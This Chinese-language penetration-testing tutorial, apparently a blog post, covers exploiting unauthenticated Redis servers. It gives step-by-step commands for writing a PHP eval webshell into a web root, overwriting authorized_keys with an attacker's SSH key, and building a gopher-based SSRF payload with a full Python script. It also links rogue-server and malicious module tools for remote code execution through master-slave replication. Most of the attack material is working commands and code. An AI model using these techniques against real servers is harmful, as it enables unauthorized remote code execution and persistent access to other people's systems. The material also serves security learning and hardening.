1. 1. Redis未授权访问
  2. 2. Redis未授权 getshell
  3. 3. 利用 redis未授权写入 ssh公钥
  4. 4. 配合 SSRF getshell
  5. 5. Redis主从复制 getshell

Redis未授权访问

利用条件:

1、redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。

2、没有设置密码认证(一般为空),可以免密码远程登录redis服务。

未授权连接 redis-cli -h 101.xx.xx.xxx,并使用 info命令列出受害机 redis服务信息

image-20250127191940868

Redis未授权 getshell

利用 redis未授权写入 webshell实现 getshell。

利用前提:redis服务端存在 web服务器,且通过某种方式(phpinfo泄漏等)获得Web目录的根路径,且具有文件的读写权限,就可以利用 redis写入一句话木马 getshell。

image-20250127200309726

1、将 redis工作目录修改至 Web根目录

config set dir /wwwroot/www/

2、将 redis的数据文件名称(dbfilename)设置为 shell.php

config set dbfilename shell.php

3、写入一句话木马shell

config set payload "<?php @eval($_POST[1]);?>"

4、保存

save

由此在网站根目录下写入一句话木马,使用蚁剑连接 http://1xx.xx.xx.xxx/shell.php

image-20250127200903951

利用 redis未授权写入 ssh公钥

首先需要了解 ssh公钥认证机制:

SSH 使用公钥认证来进行无密码登录。用户需要将自己的公钥添加到远程服务器的 ~/.ssh/authorized_keys 文件中,服务器会通过公钥验证用户的身份。如果公钥匹配,就可以成功登录。

利用 CONFIG SET 命令更改 Redis 配置 Redis 允许通过 CONFIG SET 命令更改配置,攻击者可以将 dir 配置更改为目标主机的 ~/.ssh 目录。这样,攻击者可以直接通过 SET 命令将数据写入该目录,覆盖 authorized_keys 文件,添加自己的 SSH 公钥。

首先在攻击机生成 ssh公钥并保存:

ssh-keygen -t rsa

image-20250127204128882

1、将 ssh公钥值写入到 redis键 pubKey中:

cat /Users/gehansheng/.ssh/id_rsa.pub | redis-cli -h 101.42.13.105 -x set pubKey

|(管道符):将 cat 命令的输出传递给后续的命令

-x:表示从标准输入读取数据,并将数据作为值存储到 Redis。

2、将工作目录设置到 /home/ubuntu/.ssh

config set dir /home/ubuntu/.ssh

3、将 redis的数据文件名称设置为 authorized_keys,这意味着 Redis 将数据存储在 /root/.ssh/authorized_keys 文件中,而不是默认的 dump.rdb 文件。

config set dbfilename authorized_keys

4、保存

save

但尝试使用 ssh免密连接时发现失败,查看写入的 authorized_keys文件,发现是由于公钥和 redis缓存中其他数据混合在一起导致的

image-20250127211147836

修改命令,添加换行符,防止数据混淆

(echo -e "\n\n"; cat /Users/gehansheng/.ssh/id_rsa.pub; echo -e "\n\n") > ~/Desktop/key.txt

正确添加公钥后,便可使用 ssh公钥免密登录

ssh 1xx.xx.xx.xxx

配合 SSRF getshell

当 redis服务绑定在 127.0.0.1时,只能从本地主机访问 redis服务端,此时无法从公网直接未授权访问并写入 shell了,但是可以利用 ssrf + gopher协议来写入 shell。

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.parse
protocol="gopher://" # 使用的协议
ip="127.0.0.1"
port="6379" # 目标redis的端口号
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php" # shell的名字
path="/www/wwwroot" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print (payload)
print ("二次url编码后的结果:\n" + urllib.parse.quote(payload))

利用脚本生成 payload后打 ssrf即可。

![image-20250202165210627](https://img-1325537595.cos.ap-beijing.myqcloud.com/undefinedimage-20250202165210627.png

image-20250202165539678

image-20250202165636097

Redis主从复制 getshell

主从复制原理:

从节点 (slaver) 全量同步主节点 (Master) 的数据,同步过程中,主节点会生成一个RDB快照文件发送给从节点,从节点加载该RDB文件恢复数据。

getshell关键点:

从 Redis >= 4.0开始,主从复制的 RDB中可以包含模块(Module)的加载指令。如果攻击者伪装成主节点,向从节点发送包含恶意模块加载指令的RDB文件,从节点会自动加载并执行该模块。

Redis支持通过动态链接库(.so文件)来拓展功能,加载模块命令如下

module load /path/exp.so

自动化 RCE工具:

https://github.com/LoRexxar/redis-rogue-server

Exp.so payload:

https://github.com/RicterZ/RedisModules-ExecuteCommand